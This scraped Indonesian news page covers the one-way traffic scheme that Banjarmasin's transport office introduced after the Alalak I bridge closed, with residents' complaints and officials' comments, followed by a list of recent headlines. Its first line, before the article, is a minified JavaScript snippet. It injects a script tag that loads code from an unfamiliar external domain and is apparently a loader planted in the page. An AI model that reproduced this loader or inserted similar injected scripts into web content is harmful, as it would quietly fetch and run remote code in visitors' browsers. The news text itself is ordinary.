(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Antisipasi Kemacetan, Dishub Banjarmasin Terapkan Jalan Satu Arah


BANJARMASIN, Memasuki hari kedua ditutupnya Jembatan Alalak I, Banjarmasin Utara, kemacetan terlihat semakin parah. Terpantau dari Jalan Cemara Ujung hingga Jalan Tembus Perumnas kendaraan mulai memenuhi jalan.

Antrean terlihat sepanjang 2 kilometer pada dua ruas jalan tersebut. Sehingga Dishub Banjarmasin harus memberlakukan sistem satu arah (SSA) pada empat jalan di Banjarmasin Utara. Mayoritas pengguna jalan pun mengeluhkan pemberlakuan SSA ini.

Kepala Dinas Perhubungan Kota Banjarmasin, Ichwan Noor Chalik mengatakan, SSA ini sebagai solusi mengurai kemacetan akibat dari ditutupnya Jembatan Alalak I. “Simulasi SSA merupakan bagian dari langkah kajian dishub dalam menanggulangi kemacetan, jika efektif maka akan dilanjutkan,” jelasnya.

Namun, masyarakat justru mengeluhkan jarak tempuh yang semakin panjang sebab mereka harus putar arah sesuai petunjuk satu arah yang diberlakukan. Selain itu, keluhan macet juga terjadi akibat jalur utama Banjarmasin – Batola lewat Jembatan Alalak I ditutup.

Salah satu mahasiswa yang indekos di Cemara Ujung, Sandy, mengeluh jarak yang ditempuhnya untuk sampai ke Kampus Universitas Lambung Mangkurat makin panjang. Sebab ia harus memutar mengikuti jalur satu arah untuk sampai ke kampus. Jalan Cemara Raya yang sehari-hari ia lintasi, diberlakukan satu arah dari Jalan H Hasan Basri menuju Simpang Empat Adhyaksa.

“Saya kan biasanya lewat Cemara Raya saja dan keluar di simpang empat Kayutangi lalu menuju ke Kampus saya, namun hari ini saya harus mutar ke Bundaran Kayutangi dulu melewati Jalan Adhyaksa, ya tidak begitu jauh juga namun lumayan lah memperpanjang jara,” ucapnya.

Begitu juga Ida, seorang ibu rumah tangga turut mengeluhkan hal yang sama. Ia yang bertempat tinggal di Jalan Cemara Raya terpaksa memutar arus lalin ke Jalan Adhyaksa dan Brigjen H Hassan Basri, baru bisa melewati ke Jalan Cemara Raya. “Biasanya kan ini kita belok kiri langsung bisa ke Cemara Raya, tapi setelah SSA ini kan harus mutar dulu ke Adhyaksa dan Kayutangi baru bisa ke Jalan Cemara,” ungkapnya.

Komandan Pleton II Dinas Perhubungan Kota Banjarmasin, Dony Tri Wahono, menyampaikan arus lalu lintas dalam dua hari pertama simulasi masih tergolong kategori ramai lancar. Ia mengklaim tidak ada macet fatal akibat SSA alias ramai lancar.

“Kami tunggu saja apakah ini akan diterapkan secara permanen nanti. Mudah-mudahan warga bisa paham dan mengerti demi kebaikan bersama karena Jembatan Alalak I ini merupakan fasilitas publik juga yang akan dinikmati warga juga,” pungkasnya.(mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.